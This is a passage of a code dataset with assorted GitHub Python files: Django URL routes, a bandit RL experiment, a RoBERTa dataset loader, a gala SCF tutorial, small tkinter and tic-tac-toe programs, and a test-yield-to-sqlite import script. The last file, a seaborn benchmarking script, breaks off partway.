name=\"addCarwash\"),\r\n path('carwash/edit/', views.editCarwash, name=\"editCarwash\"),\r\n path('carwash/del/', views.delCarwash, name=\"delCarwash\"),\r\n path('carwash/a/', views.actCarwash, name=\"actCarwash\"),\r\n path('customer/add/', views.addCustomer, name=\"addCustomer\"),\r\n path('customer/edit/', views.editCustomer, name=\"editCustomer\"),\r\n path('customer/del/', views.delCustomer, name=\"delCustomer\"),\r\n]","repo_name":"umande/cms","sub_path":"Admins/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"42792107620","text":"from constants import *\nfrom arm import Arm\nfrom agent import Agent\n\nimport matplotlib.pyplot as plt\n\n\ndef get_settings():\n \"\"\" Reads and saves the settings.\n\n Returns:\n dict: Dictionary containing all the settings\n \"\"\"\n\n settings = dict()\n settings['k'] = int(input(\"Number of bandit's arms (k): \"))\n settings['N'] = int(input(\"Number of problems to generate (N): \"))\n settings['T'] = int(input(\"Number of training steps (T): \"))\n settings['strategy'] = Strategy(int(input(\n \"0 - Greedy\\n1 - e-greedy\\n2 - Optimistic Initial Values\\n3 - Upper-Confidence Bound\\n4 - Action Preferences\\nAgent's strategy: \")))\n settings['diagnostics'] = input(\"Do you want to see diagnostics (y/n)? \")\n return settings\n\n\ndef get_best_action(arms):\n \"\"\" Finds the best action based on the expected reward.\n\n Args:\n arms (list): list containing bandit's arms\n\n Returns:\n int: index of the best action\n \"\"\"\n\n best_arm = 0\n for i, a in enumerate(arms):\n if a.p > arms[best_arm].p:\n best_arm = i\n return best_arm\n\n\ndef show_diagnostics(t, n, strategy, gaussian, bernoulli):\n \"\"\" Calculates and displays experiment diagnostics\n\n Args:\n t (int): Number of steps\n n (int): Number of problems\n strategy (Strategy): Strategy used\n gaussian (list): List of dictionaries containg experiment results\n bernoulli (list): List of dictionaries containg experiment results\n \"\"\"\n gauss_rewards = []\n gauss_actions = []\n bern_rewards = []\n bern_actions = []\n\n for i in range(t):\n gauss_rewards.append(0)\n gauss_actions.append(0)\n bern_rewards.append(0)\n bern_actions.append(0)\n\n for g_res, b_res in zip(gaussian, bernoulli):\n gauss_rewards[-1] += g_res['rewards'][i]\n bern_rewards[-1] += b_res['rewards'][i]\n\n if g_res['actions'][i] == g_res['best-action']:\n gauss_actions[-1] += 1\n if b_res['actions'][i] == b_res['best-action']:\n bern_actions[-1] += 1\n\n gauss_rewards[-1] /= n\n gauss_actions[-1] /= n\n gauss_actions[-1] *= 100\n\n bern_rewards[-1] /= n\n bern_actions[-1] /= n\n bern_actions[-1] *= 100\n\n strategy_name = strategy.name.title()\n strategy_name = strategy_name.replace('_', ' ')\n\n fig, (ax1, ax2) = plt.subplots(1, 2)\n fig.suptitle(f'Diagnostics for {strategy_name} and Gaussian Bandits')\n\n ax1.set_title('Average rewards')\n ax1.set_xlabel('Learning step')\n ax1.set_ylabel('Reward')\n ax1.plot(gauss_rewards)\n\n ax2.set_title(\"Choosing best action\")\n ax2.set_xlabel('Learning step')\n ax2.set_ylabel('% of correctly chosen actions')\n ax2.plot(gauss_actions)\n\n plt.show()\n\n fig, (ax1, ax2) = plt.subplots(1, 2)\n\n fig.suptitle(f'Diagnostics for {strategy_name} and Bernoulli Bandits')\n\n ax1.set_title('Average rewards')\n ax1.set_xlabel('Learning step')\n ax1.set_ylabel('Reward')\n ax1.plot(bern_rewards)\n\n ax2.set_title(\"Choosing best action\")\n ax2.set_xlabel('Learning step')\n ax2.set_ylabel('% of correctly chosen actions')\n ax2.plot(bern_actions)\n\n plt.show()\n\n\ndef run_problem(k, t, strategy):\n \"\"\" Runs a problem and trains the agent according to the provided settings.\n\n Args:\n k (int): Number of arms\n t (int): Number of training steps\n strategy (Strategy): Agent's strategy\n\n Returns:\n dict: results for the Gaussian bandits\n dict: results for the Bernoulli bandits\n \"\"\"\n\n gaussian_arms = [Arm(Distribution.GAUSSIAN)\n for _ in range(k)]\n\n bernoulli_arms = [Arm(Distribution.BERNOULLI)\n for _ in range(k)]\n\n gaussian_agent = Agent(strategy, gaussian_arms)\n bernoulli_agent = Agent(strategy, bernoulli_arms)\n\n gaussian_results = dict()\n bernoulli_results = dict()\n\n gaussian_results['actions'], gaussian_results['rewards'] = [], []\n bernoulli_results['actions'], bernoulli_results['rewards'] = [], []\n\n for _ in range(t):\n reward, action = gaussian_agent.choose_action()\n gaussian_results['rewards'] .append(reward)\n gaussian_results['actions'].append(action)\n gaussian_results['best-action'] = get_best_action(gaussian_arms)\n\n for _ in range(t):\n reward, action = bernoulli_agent.choose_action()\n bernoulli_results['rewards'].append(reward)\n bernoulli_results['actions'].append(action)\n bernoulli_results['best-action'] = get_best_action(bernoulli_arms)\n\n return gaussian_results, bernoulli_results\n\n\nif __name__ == \"__main__\":\n settings = get_settings()\n\n total_gaussian_results = []\n total_bernoulli_results = []\n\n for _ in range(settings['N']):\n gaussian_results, bernoulli_results = run_problem(\n settings['k'], settings['T'], settings['strategy'])\n\n total_gaussian_results.append(gaussian_results)\n total_bernoulli_results.append(bernoulli_results)\n\n if settings['diagnostics'] == 'y':\n show_diagnostics(\n settings['T'], settings['N'], settings['strategy'], total_gaussian_results, total_bernoulli_results)\n","repo_name":"fszewczyk/multi-armed-bandit-rl","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"7862422646","text":"'''\nAuthor: Xiang Pan\nDate: 2022-03-14 00:59:56\nLastEditTime: 2022-05-14 19:58:49\nLastEditors: Xiang Pan\nDescription: \nFilePath: /NYU_DL_Sys_Project/task_datasets/covidqcls_dataset.py\n@email: xiangpan@nyu.edu\n'''\nfrom torch.utils.data import Dataset\nimport pandas as pd\nfrom datasets import load_dataset\nfrom yaml import load\nfrom transformers import RobertaTokenizer\nimport itertools\nimport torch\n\nclass CovidQCLSDataset(Dataset):\n def __init__(self, tokenizer_name, split=\"full\") -> None:\n super().__init__()\n self.tokenizer = RobertaTokenizer.from_pretrained(tokenizer_name)\n if split == \"train\":\n self.dataset = load_dataset(\"XiangPan/CovidQCLS\", split=\"train[:90%]\")\n elif split == \"val\":\n self.dataset = load_dataset(\"XiangPan/CovidQCLS\", split=\"train[90%:]\")\n elif split == \"test\":\n self.dataset = load_dataset(\"XiangPan/CovidQCLS\", split=\"test\")\n else:\n self.dataset = load_dataset(\"XiangPan/CovidQCLS\", split=\"train+test\")\n self.task_mapping = {\n \"x\": \"Question\",\n \"y\": \"cate_id\"\n }\n self.class_lists = None\n \n\n def __len__(self) -> int:\n return len(self.dataset)\n\n def get_num_labels(self):\n return 16\n\n def __getitem__(self, idx: int):\n text = self.dataset[idx][self.task_mapping[\"x\"]]\n x = self.tokenizer(text, padding=\"max_length\",truncation=True, max_length=128, return_tensors=\"pt\")\n input_ids = x[\"input_ids\"].squeeze(0)\n attention_mask = x[\"attention_mask\"].squeeze(0)\n y = self.dataset[idx][self.task_mapping[\"y\"]]\n return input_ids, attention_mask, y\n\n def get_class_lists(self):\n # loop over dataset\n self.class_lists = {}\n for idx in range(len(self.dataset)):\n y = self.dataset[idx][self.task_mapping[\"y\"]]\n if y not in self.class_lists.keys():\n self.class_lists[y] = [idx]\n else:\n self.class_lists[y].append(idx)\n \n \n def sample_few_shots_by_class(self, class_index, num_samples):\n if self.class_lists is None:\n self.get_class_lists()\n return self.class_lists[class_index][:num_samples]\n \n def sample_few_shots(self, num_samples):\n return [self.sample_few_shots_by_class(i, num_samples) for i in range(self.get_num_labels())]\n\n\ndef main():\n dataset = CovidQCLSDataset(tokenizer_name=\"roberta-base\")\n sample_idxs = dataset.sample_few_shots(num_samples=5)\n sample_idxs = list(itertools.chain.from_iterable(sample_idxs))\n sub_dataset = torch.utils.data.Subset(dataset, sample_idxs)\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"Xiang-Pan/NYU_DL_Sys_Project","sub_path":"task_datasets/covidqcls_dataset.py","file_name":"covidqcls_dataset.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11292202244","text":"# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.11.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# + nbsphinx=\"hidden\"\n# %matplotlib inline\n\n# + nbsphinx=\"hidden\"\n# %run nb_setup\n# -\n\n# # Compute an SCF representation of an arbitrary density distribution\n#\n# Basis function expansions are a useful tool for computing gravitational\n# potentials and forces from an arbitrary density function that may not have an\n# analytic solution to Poisson's equation. They are also useful for generating\n# smoothed or compressed representations of gravitational potentials from\n# discrete particle distributions. For astronomical density distributions, a\n# useful expansion technique is the Self-Consistent Field (SCF) method, as\n# initially developed by [Hernquist & Ostriker\n# (1992)](http://dx.doi.org/10.1086/171025). In this method, using the notation\n# of [Lowing et al. 2011](http://dx.doi.org/10.1111/j.1365-2966.2011.19222.x),\n# the density and potential functions are expressed as:\n#\n# $$\n# \\rho(r, \\phi, \\theta) = \\sum_{l=0}^{l_{\\rm max}} \\sum_{m=0}^{l} \\sum_{n=0}^{n_{\\rm max}}\n# Y_{lm}(\\theta) \\, \\rho_{nl}(r) \\, \\left[S_{nlm}\\,\\cos(m\\phi) + T_{nlm}\\,\\sin(m\\phi) \\right] \\\\\n# \\Phi(r, \\phi, \\theta) = \\sum_{l=0}^{l_{\\rm max}} \\sum_{m=0}^{l} \\sum_{n=0}^{n_{\\rm max}}\n# Y_{lm}(\\theta) \\, \\Phi_{nl}(r) \\, \\left[S_{nlm}\\,\\cos(m\\phi) + T_{nlm}\\,\\sin(m\\phi) \\right]\n# $$\n#\n# where $Y_{lm}(\\theta)$ are the usual spherical harmonics, $\\rho_{nlm}(r)$ and\n# $\\Phi_{nlm}(r)$ are bi-orthogonal radial basis functions, and $S_{nlm}$ and\n# $T_{nlm}$ are expansion coefficients, which need to be computed from a given\n# density function. In this notebook, we'll estimate low-order expansion\n# coefficients for an analytic density distribution (written as a Python\n# function).\n\n# +\n# Some imports we'll need later:\n\n# Third-party\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Gala\nimport gala.dynamics as gd\nimport gala.potential as gp\nfrom gala.potential.scf import compute_coeffs\n\n\n# -\n\n# ## SCF representation of an analytic density distribution\n#\n# ### Custom spherical density function\n#\n# For this example, we'll assume that we want a potential representation of the\n# spherical density function:\n# $$\n# \\rho(r) = \\frac{1}{r^{1.8} \\, (1 + r)^{2.7}}\n# $$\n#\n# Let's start by writing a density function that takes a single set of Cartesian\n# coordinates (x, y, z) and returns the (scalar) value of the density at that\n# location:\n\ndef density_func(x, y, z):\n r = np.sqrt(x**2 + y**2 + z**2)\n return 1 / (r**1.8 * (1 + r)**2.7)\n\n\n# Let's visualize this density function. For comparison, let's also over-plot\n# the Hernquist density distribution. The SCF expansion uses the Hernquist\n# density for radial basis functions, so the similarity of the density we want\n# to represent and the Hernquist function gives us a sense of how many radial\n# terms we will need in the expansion:\n\nhern = gp.HernquistPotential(m=1, c=1)\n\n# +\nx = np.logspace(-1, 1, 128)\nplt.plot(x, density_func(x, 0, 0), marker='', label='custom density')\n\n# need a 3D grid for the potentials in Gala\nxyz = np.zeros((3, len(x)))\nxyz[0] = x\nplt.plot(x, hern.density(xyz), marker='', label='Hernquist')\n\nplt.xscale('log')\nplt.yscale('log')\n\nplt.xlabel('$r$')\nplt.ylabel(r'$\\rho(r)$')\n\nplt.legend(loc='best');\n# -\n\n# These functions are not *too* different, implying that we probably don't need\n# too many radial expansion terms in order to well represent the\n# density/potential from this custom function. As an arbitrary number, let's\n# choose to compute radial terms up to and including $n = 10$. In this case,\n# because the density we want to represent is spherical, we don't need any $l,\n# m$ terms, so we set `lmax=0`. We can also neglect the sin() terms of the\n# expansion ($T_{nlm}$):\n\n(S, Serr), _ = compute_coeffs(density_func,\n nmax=10, lmax=0,\n M=1., r_s=1., S_only=True)\n\n# The above variable `S` will contain the expansion coefficients, and the\n# variable `Serr` will contain an estimate of the error in this coefficient\n# value. Let's now construct an `SCFPotential` object with the coefficients we\n# just computed:\n\nS\n\npot = gp.SCFPotential(m=1., r_s=1,\n Snlm=S, Tnlm=np.zeros_like(S))\n\n# Now let's visualize the SCF estimated density with the true density:\n\n# +\nx = np.logspace(-1, 1, 128)\nplt.plot(x, density_func(x, 0, 0), marker='', label='custom density')\n\n# need a 3D grid for the potentials in Gala\nxyz = np.zeros((3, len(x)))\nxyz[0] = x\nplt.plot(x, pot.density(xyz), marker='', label='SCF density')\n\nplt.xscale('log')\nplt.yscale('log')\n\nplt.xlabel('$r$')\nplt.ylabel(r'$\\rho(r)$')\n\nplt.legend(loc='best');\n\n\n# -\n\n# This does a pretty good job of capturing the radial fall-off of our custom\n# density function, but you may want to iterate a bit to satisfy your own\n# constraints. For example, you may want the density to be represented with a\n# less than 1% deviation over some range of radii, or whatever.\n#\n# As a second example, let's now try a custom axisymmetric density distribution:\n\n# ### Custom axisymmetric density function\n#\n# For this example, we'll assume that we want a potential representation of the\n# flattened Hernquist density function:\n# $$\n# \\rho(R, z) = \\frac{1}{r \\, (1 + r)^{3}}\\\\\n# r^2 = R^2 + \\frac{z^2}{q^2}\n# $$\n#\n# where $q$ is the flattening, which we'll set to $q=0.6$.\n#\n# Let's again start by writing a density function that takes a single set of\n# Cartesian coordinates (x, y, z) and returns the (scalar) value of the density\n# at that location:\n\ndef density_func_flat(x, y, z, q):\n r = np.sqrt(x**2 + y**2 + (z / q)**2)\n return 1 / (r * (1 + r)**3) / (2*np.pi)\n\n\n# Let's compute the density along a diagonal line for a few different\n# flattenings and again compare to the non-flattened Hernquist profile:\n\n# +\nx = np.logspace(-1, 1, 128)\nxyz = np.zeros((3, len(x)))\nxyz[0] = x\nxyz[2] = x\n\nfor q in np.arange(0.6, 1+1e-3, 0.2):\n plt.plot(x, density_func_flat(xyz[0], 0., xyz[2], q), marker='',\n label=f'custom density: q={q}')\n\nplt.plot(x, hern.density(xyz), marker='', ls='--', label='Hernquist')\n\nplt.xscale('log')\nplt.yscale('log')\n\nplt.xlabel('$r$')\nplt.ylabel(r'$\\rho(r)$')\n\nplt.legend(loc='best');\n# -\n\n# Because this is an axisymmetric density distribution, we need to also compute\n# $l$ terms in the expansion, so we set `lmax=6`, but we can skip the $m$ terms\n# using `skip_m=True`. Because this computes more coefficients, we might want to\n# see the progress in real time - if you install the Python package `tqdm` and\n# pass `progress=True`, it will also display a progress bar:\n\nq = 0.6\n(S_flat, Serr_flat), _ = compute_coeffs(density_func_flat,\n nmax=4, lmax=6, args=(q, ),\n M=1., r_s=1., S_only=True,\n skip_m=True, progress=True)\n\npot_flat = gp.SCFPotential(m=1., r_s=1,\n Snlm=S_flat, Tnlm=np.zeros_like(S_flat))\n\n# +\nx = np.logspace(-1, 1, 128)\nxyz = np.zeros((3, len(x)))\nxyz[0] = x\nxyz[2] = x\n\nplt.plot(x, density_func_flat(xyz[0], xyz[1], xyz[2], q), marker='',\n label=f'true density q={q}')\n\nplt.plot(x, pot_flat.density(xyz), marker='', ls='--', label='SCF density')\n\nplt.xscale('log')\nplt.yscale('log')\n\nplt.xlabel('$r$')\nplt.ylabel(r'$\\rho(r)$')\n\nplt.legend(loc='best');\n# -\n\n# The SCF potential object acts like any other `gala.potential` object, meaning\n# we can, e.g., plot density or potential contours:\n\n# +\ngrid = np.linspace(-8, 8, 128)\n\nfig, axes = plt.subplots(1, 2, figsize=(10, 5),\n sharex=True, sharey=True)\n_ = pot_flat.plot_contours((grid, grid, 0), ax=axes[0])\naxes[0].set_xlabel('$x$')\naxes[0].set_ylabel('$y$')\n\n_ = pot_flat.plot_contours((grid, 0, grid), ax=axes[1])\naxes[1].set_xlabel('$x$')\naxes[1].set_ylabel('$z$')\n\nfor ax in axes:\n ax.set_aspect('equal')\n# -\n\n# And numerically integrate orbits by passing in initial conditions and\n# integration parameters:\n\nw0 = gd.PhaseSpacePosition(pos=[3.5, 0, 1],\n vel=[0, 0.4, 0.05])\n\norbit_flat = pot_flat.integrate_orbit(w0, dt=1., n_steps=5000)\n_ = orbit_flat.plot()\n","repo_name":"adrn/gala","sub_path":"docs/tutorials/Arbitrary-density-SCF.py","file_name":"Arbitrary-density-SCF.py","file_ext":"py","file_size_in_byte":8355,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"70"} +{"seq_id":"13021702690","text":"from tkinter import *\nfrom PIL import Image, ImageTk\nimport os\n\n\n\nventana = Tk()\nventana.geometry(\"700x500\")\nLabel(ventana, text=\"Hola soy William\").pack(anchor=W)\nprint(os.getcwd())\nimagen = Image.open('21-tkinter/imagenes/lobo-gris-800.jpg')\nrender = ImageTk.PhotoImage(imagen)\nLabel(ventana, image=render).pack()\nventana.mainloop()\n","repo_name":"wparedesgt/Master-Python","sub_path":"21-tkinter/03-imagenes.py","file_name":"03-imagenes.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41242097410","text":"game = [\n [\" \", \" \", \" \"],\n [\" \", \" \", \" \"],\n [\" \", \" \", \" \"]\n]\n\n\ndef isAnyRowMatch():\n for i in range(3):\n if game[i][0] == game[i][1] == game[i][2] != \" \":\n return True, game[i][0]\n return False\n\n\ndef isAnyColumnMatch():\n for i in range(3):\n if game[0][i] == game[1][i] == game[2][i] != \" \":\n return True, game[0][i]\n\n return False\n\n\ndef isAnyDiagonalMatch():\n if game[0][0] == game[1][1] == game[2][2] != \" \":\n return True\n elif game[0][2] == game[1][1] == game[2][0] != \" \":\n return True\n else:\n return False\n\n\ndef whoWon():\n verdict_1 = isAnyRowMatch()\n verdict_2 = isAnyColumnMatch()\n verdict_3 = isAnyDiagonalMatch()\n\n if verdict_1 or verdict_2 or verdict_3:\n return True\n\n else:\n return False\n\n\ndef isDraw():\n if whoWon():\n for i in range(3):\n for j in range(3):\n if game[i][j] == \"\":\n return False\n return True\n else:\n return False\n\n\ndef drawBoard():\n board = \"| \" + game[0][0] + \" | \" + game[0][1] + \" | \" + game[0][2] + \" | \"\n print(board)\n print(\" --- \" * 3)\n\n board = \"| \" + game[1][0] + \" | \" + game[1][1] + \" | \" + game[1][2] + \" | \"\n print(board)\n\n print(\" --- \" * 3)\n\n board = \"| \" + game[2][0] + \" | \" + game[2][1] + \" | \" + game[2][2] + \" | \"\n print(board)\n\n\nturn = 1\nprint(\"Welcome to Tic Tac Toe Game!\\nPlayer 1's mark is 'x' and Player 2's mark is 'o'\\n\\n\")\nwhile (True):\n if isDraw() == True:\n print(\"Game is drawn\\n\")\n exit()\n drawBoard()\n\n if turn == 1:\n print(\"Player 1's Turn:\\n\")\n x = int(input(\"Enter X:\"))\n y = int(input(\"Enter y:\"))\n x -= 1\n y -= 1\n game[x][y] = \"x\"\n turn = 2\n if whoWon() == True:\n print(\"Player 1 Win!\")\n drawBoard()\n exit()\n else:\n print(\"Player 2's Turn\\n\")\n x = int(input(\"Enter X:\"))\n y = int(input(\"Enter y:\"))\n x -= 1\n y -= 1\n game[x][y] = \"o\"\n turn = 1\n if whoWon() == True:\n print(\"Player 2 Win!\")\n drawBoard()\n exit()\n","repo_name":"mashnoor/trainticketbackend","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"19967193915","text":"# Imports\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\n\nplt.style.use('seaborn-white')\n\n\ndef numpy_sqrt(z):\n \"\"\"Complex square root function\"\"\"\n return np.sqrt(z)\n\n\ndef argand_plot(func):\n \"\"\"Plots a function in the Argand (complex) plane.\"\"\"\n X, Y = np.meshgrid(np.linspace(-2, 2),\n np.linspace(-2, 2))\n Z = X + 1j * Y\n ax1 = plt.gcf().add_subplot(211, projection='3d')\n ax2 = plt.gcf().add_subplot(212, projection='3d')\n ax1.plot_surface(X, Y, np.real(func(Z)), rstride=1, cstride=1, cmap='viridis')\n ax1.set_xlabel('real axis')\n ax1.set_ylabel('imaginary axis')\n ax1.set_title('real part')\n ax2.plot_surface(X, Y, np.imag(func(Z)), rstride=1, cstride=1, cmap='magma')\n ax2.set_xlabel('real axis')\n ax2.set_ylabel('imaginary axis')\n ax2.set_title('imaginary part')\n\n\ntheta = np.linspace(0, 2 * np.pi, num=26, endpoint=False)\nunit_circle = [np.exp(1j * _) for _ in theta]\n\n\ndef plot_along_curve(func=numpy_sqrt, param=theta, curve=unit_circle):\n \"\"\"Plots curve and real/imag values of function func along given curve.\"\"\"\n plt.subplot(121)\n plt.plot(np.real(curve), np.imag(curve), 'o')\n x = np.real(curve)\n y = np.imag(curve)\n plt.quiver(x[:-1], y[:-1], x[1:] - x[:-1], y[1:] - y[:-1], scale_units='xy', angles='xy', scale=1)\n plt.xlim(-1.25, 1.25)\n plt.ylim(-1.25, 1.25)\n domain_coloring_plot(func)\n plt.subplot(122)\n plt.plot(param, np.imag(func(curve)), label='imaginary part')\n plt.plot(param, np.real(func(curve)), label='real part')\n plt.legend(loc='lower left')\n plt.xlabel('angle $\\\\theta$ along the circle (rad)')\n\n\ndef square_root(z, theta):\n \"\"\"Square root with different branch cut defined by theta parameter.\"\"\"\n argument = np.angle(z) # between -pi and +pi\n modulus = np.abs(z)\n argument = np.mod(argument + theta, 2 * np.pi) - theta\n return np.sqrt(modulus) * np.exp(1j * argument / 2)\n\n\nif __name__ == '__main__':\n plt.rcParams['figure.figsize'] = (6, 7) # Set plot size\n plt.figure()\n argand_plot(numpy_sqrt) # Do the Argand Plotting\n plt.show()\n\n # As seen above, the standard square root function has a branch cut along the negative reals.\n\n normal_sqrt = lambda z: square_root(z, np.pi)\n np.allclose(np.abs(normal_sqrt(unit_circle)),\n np.abs(numpy_sqrt(unit_circle)))\n\n plt.figure()\n argand_plot(normal_sqrt)\n plt.show()\n\n # Putting the branch cut on the real line\n\n real_pos_sqrt = lambda z: square_root(z, 2 * np.pi)\n plt.figure()\n argand_plot(real_pos_sqrt)\n plt.show()\n\n # Due to the default branch cut, this square root generates a discontinuity along the path that I want to integrate on\n","repo_name":"bytesapart/wqu_algorithms2","sub_path":"Assignment7/branch_and_cut.py","file_name":"branch_and_cut.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74835237987","text":"# 레벨1_같은 숫자는 싫어\r\n\r\ndef solution(arr):\r\n answer = []\r\n last_num=arr[0]\r\n answer.append(arr[0])\r\n for num in arr:\r\n if num != last_num:\r\n answer.append(num)\r\n last_num = num\r\n return answer\r\n\r\n\r\narr = [1,1,3,3,0,1,1]\r\nprint(solution(arr))\r\narr=[4,4,4,3,3]\r\nprint(solution(arr))","repo_name":"algorithm-studying/daily","sub_path":"2022_02_07/1_python_조수빈.py","file_name":"1_python_조수빈.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"15948341988","text":"# -*- coding: utf-8 -*-\n#對指定目錄內所有測試檔進行統計, 紀錄[檔案修改時間], [lot id], [總數], [良品數]\n#再寫入Django的資料庫,以及log紀錄\n#處理過的檔案進行歸檔,原目錄清空\n\nimport os,time\nfrom datetime import datetime, timezone\nfrom win32com.client import Dispatch, constants\nimport sqlite3\nimport csv\nimport shutil #檔案處理套件\n\ndef get_yield( filepath = \"d:\\\\temp\\\\ate\\\\sample\\\\\", filename = \"YS11-17110027.csv\",sampling = 0):\n\txlsfile = os.path.join(filepath,filename)\n\txlsApp = Dispatch(\"Excel.Application\")\n\txlsApp.Visible = 0 #顯示 Excel\n\txlsBook = xlsApp.Workbooks.open(xlsfile) #開啟一工作簿\n\tlot_id = os.path.splitext(filename)[0] #分離前檔名及副檔名\n\txlsSheet = xlsBook.Worksheets(lot_id) \n\trow = 16 #列\n\tcol = 2 #欄\n\ttotal = 0\n\tgood = 0\n\tanswer = ['PASS','ABORT','FAIL']\n\tif sampling == 0 : sampling = 999999\n\twhile (str.strip(xlsSheet.Cells(row,col).Value) in answer) and (total < sampling):\n\t\tif str.strip(xlsSheet.Cells(row,col).Value) == 'PASS' : \n\t\t\tgood += 1\n\t\trow += 1\n\t\ttotal += 1\n\t\tif type(xlsSheet.Cells(row,col).Value) == type(None):\n\t\t\tbreak # 偵測下一個若是空白則結束\n\txlsBook.Close()\n\txlsApp.Quit()\n\tdel xlsApp\n\treturn (lot_id,total,good)\n\n#設定log的路徑與檔名\ndt = str(datetime.now().strftime(\"%Y%m%d%H%M%S\"))\n#Django資料庫路徑\nconn = sqlite3.connect('d:\\\\kadela\\\\git\\\\mysite\\\\db.sqlite3')\n#測試資料原始檔根目錄\ncurr_dir = \"d:\\\\temp\\\\ate\\\\sample\\\\\"\nc = conn.cursor()\n#測試資料歸檔根目錄\nsave_dir = \"d:\\\\temp\\\\ate\\\\history\\\\\"\nsave_dir += dt\nif not os.path.isdir(save_dir): #檢查儲存目錄是否存在\n\tos.mkdir(save_dir)\n\nlog_dir = os.path.abspath('.') + \"\\\\log\"\nif not os.path.isdir(log_dir): #檢查log目錄是否存在\n os.mkdir(log_dir)\n\nlog_file = log_dir + \"\\\\atelog-\" + dt + \".csv\"\nf = open(log_file, 'w', newline='')\nw = csv.writer(f)\n\nfor Path, Folder, FileName in os.walk(curr_dir):\n\tfor i in FileName:\n\t\ttmp = Path + \"\\\\\" + i\n\t\tif i[:2] == \"YS\" and i[-3:] == \"csv\" :\n\t\t\tm_time = os.path.getmtime(os.path.join(Path,i))\n\t\t\tf_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(m_time))\n\t\t\tprint (Path,i,f_time)\n\t\t\tt = get_yield(filepath = Path, filename = i, sampling = 0)\n\t\t\tyie = int((t[2] / t[1]) * 100)\n\t\t\tsql = \"INSERT INTO ate_spcc_test_static (create_date,lotid,total,good,yield_g) \\\n\t\t\tVALUES ('\" + f_time + \"', '\"+ t[0][5:] + \"', '\" + str(t[1]) + \"', '\" + str(t[2]) + \"', '\" + str(yie) + \"')\"\n\t\t\tprint (sql)\n\t\t\tc.execute(sql)\n\t\t\tw.writerow([sql]) #以list放入,每個字元不會被逗號分開\n\t\twhile os.path.isfile(save_dir + \"\\\\\" + i): #相同檔名在副檔名加字\n\t\t\ti += \".1\"\n\t\tshutil.move(tmp,save_dir + \"\\\\\" + i) #將處理過的檔案歸檔\nc.close()\nconn.commit()\nconn.close()\nf.close()\n\t\n\n\n","repo_name":"kalapontsai/ATE_SPCC","sub_path":"catch_csv_report_into_sqlite3.py","file_name":"catch_csv_report_into_sqlite3.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16401639351","text":"import seaborn as sns\nimport json\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom utils import *\nimport sys \nimport numpy as np\nimport os\n\npd.set_option('display.max_columns', 500)\nsteps = [6, 12, 18, 24, 30]\n# steps = [9, 15, 21, 30]\npercentiles = [0.5, 0.95]\nsns.set(style=\"whitegrid\")\n\nif len(sys.argv) > 1:\n configJsonName = sys.argv[1]\nelse:\n configJsonName = \"test_configs/all_runs.json\"\n\npd.set_option('display.max_rows', None)\nconfig = json.load(open(configJsonName, 'r'))\nprefix = config[\"prefix\"]\nscores = dict()\nlog_dir = config[\"log_dir\"]\nvalue_key = config[\"value_key\"]\nmetric = config[\"metric\"]\n\n# Make sure that the index name is correct for bo case \nalgos = list()\nfor algo in config['bbo_algos']:\n if 'bo' in algo:\n for estimator in config[\"bo_estimators\"]:\n for acq_method in config[\"bo_acq\"][estimator]:\n \n algos.append((algo + '_' + estimator + '_' + acq_method).upper())\n else:\n algos.append(algo.upper())\n\n\nscores = pd.DataFrame({ 'Algorithms': np.tile(np.repeat(algos, len(percentiles)), len(steps)), 'Score': [0.0]*len(algos)*len(steps)*len(percentiles), \n 'Budget': np.repeat(steps, len(algos)*len(percentiles) ), 'Percentile': np.tile(percentiles, len(algos)*len(steps) )\n }).set_index(['Algorithms', 'Budget', 'Percentile'])\n\nslowdown_scores = pd.DataFrame({ 'Algorithms':[], 'Norm. Best Runtime': [], 'Budget': [], 'Percentile': []})\nextra_runs = pd.DataFrame({'Algorithms':[], 'Budget':[], 'Extra Runs': []})\n\nfor system in config[\"systems\"]:\n for app in config[\"applications\"][system]:\n for datasize in config[\"datasizes\"]:\n median_cost = pd.DataFrame({'Algorithms':[], 'Budget':[], 'Cost':[], 'Workload': [], 'Runtime':[], 'Best Runtime': [], 'Best Cost': []})\n # plt.figure(figsize=(5,3))\n title = system+\"_\"+app+\"_\"+datasize\n print(title)\n\n runtimes = parseLogsAll(system, app, datasize, configJsonName, logDir=log_dir, value_key=value_key)\n if len(runtimes) == 0:\n continue\n df = pd.DataFrame(runtimes, columns = ['Algorithms', 'Budget', 'Runtime', 'Experiment', 'Type', 'Size', 'Num', 'Completed'])\n if \"Runtime\" in metric:\n df[\"Cost\"] = df.apply(lambda x: (prices[x[\"Type\"] + \".\" + x[\"Size\"]]/3600.0) * x[\"Num\"] * x[\"Runtime\"] , axis=1)\n else:\n df[\"Cost\"] = df[\"Runtime\"]\n # df_select = df[df['Budget'].isin(steps)]\n df_select = pd.DataFrame(df)\n df_select['Algorithms'] = df['Algorithms'].str.upper()\n # print(df_select)\n\n\n # runtimes = 